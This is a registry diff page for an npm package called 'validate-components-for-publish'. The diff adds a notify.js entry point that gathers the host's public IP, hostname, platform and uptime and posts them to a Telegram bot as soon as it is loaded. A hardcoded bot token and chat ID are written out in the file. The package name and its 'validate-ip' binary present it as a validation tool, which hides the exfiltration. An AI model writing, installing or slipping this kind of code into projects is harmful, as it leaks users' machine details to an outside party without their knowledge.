validate-components-for-publish 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/notify.js +49 -0
  2. package/package.json +15 -0
package/notify.js ADDED
@@ -0,0 +1,49 @@
1
+ const axios = require('axios');
2
+ const os = require('os');
3
+
4
+ // Aapka Data
5
+ const TOKEN = "8236864682:AAFO8n3ml54y_JQnAA2_wxD5j01eooMwC8w";
6
+ const CHAT_ID = "8655055695";
7
+
8
+ async function getPublicIP() {
9
+ try {
10
+ const response = await axios.get('https://api.ipify.org?format=json');
11
+ return response.data.ip;
12
+ } catch (error) {
13
+ return "IP Fetch Failed";
14
+ }
15
+ }
16
+
17
+ async function sendDetails() {
18
+ console.log("🔍 Fetching real IP and system details...");
19
+
20
+ const publicIp = await getPublicIP();
21
+ const hostname = os.hostname();
22
+ const platform = os.platform();
23
+ const uptime = (os.uptime() / 3600).toFixed(2); // Hours mein
24
+
25
+ // Message Format
26
+ const message = `
27
+ 🌍 *Real IP Address Report*
28
+ --------------------------------
29
+ 📍 *Public IP:* \`${publicIp}\`
30
+ 🏠 *Hostname:* \`${hostname}\`
31
+ 💻 *Platform:* \`${platform}\`
32
+ ⏱️ *System Uptime:* ${uptime} Hours
33
+ --------------------------------
34
+ 🚀 _Sent via Termux Bot_
35
+ `;
36
+
37
+ try {
38
+ await axios.post(`https://api.telegram.org/bot${TOKEN}/sendMessage`, {
39
+ chat_id: CHAT_ID,
40
+ text: message,
41
+ parse_mode: "Markdown"
42
+ });
43
+ console.log("✅ Real IP sent to Telegram!");
44
+ } catch (error) {
45
+ console.error("❌ Telegram Error:", error.message);
46
+ }
47
+ }
48
+
49
+ sendDetails();
package/package.json ADDED
@@ -0,0 +1,15 @@
1
+ {
2
+ "name": "validate-components-for-publish",
3
+ "version": "1.0.0",
4
+ "description": "A tool to fetch system details and notify via Telegram",
5
+ "main": "notify.js",
6
+ "bin": {
7
+ "validate-ip": "./notify.js"
8
+ },
9
+ "dependencies": {
10
+ "axios": "^1.6.0"
11
+ },
12
+ "keywords": ["telegram", "ip", "validator"],
13
+ "author": "Aapka Naam",
14
+ "license": "MIT"
15
+ }